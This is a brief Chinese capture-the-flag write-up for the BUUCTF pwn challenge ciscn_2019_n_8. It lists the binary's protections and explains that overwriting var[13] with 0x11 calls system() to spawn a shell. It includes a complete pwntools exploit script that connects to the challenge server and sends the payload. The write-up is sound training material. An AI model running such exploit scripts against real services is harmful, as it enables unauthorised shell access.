BUUCTF-PWN-ciscn_2019_n_8
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
32位程序,小端序
开启部分RELRO-----got表可写
开启canary保护-----栈溢出需绕过
开启NX保护-----堆栈不可执行
开启PIE-----内存地址随机化
动态链接
ida一下看一下主函数
先是用一个scanf输入一个name,存在var里,之后观察这个if语句,var[13]只要为17(0x11)就可以调用system函数,获得shell
exp
from pwn import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序,linux系统,32位架构,debug
sh = remote('node4.buuoj.cn',25777)
payload = flat(['a' * 13 * 4,0x11]) #32位程序,每个数组元素占4字节,先将var[0]到var[12]填为a,之后将var[13]填为17(0x11)
sh.sendline(payload)
sh.interactive()
运行获得shell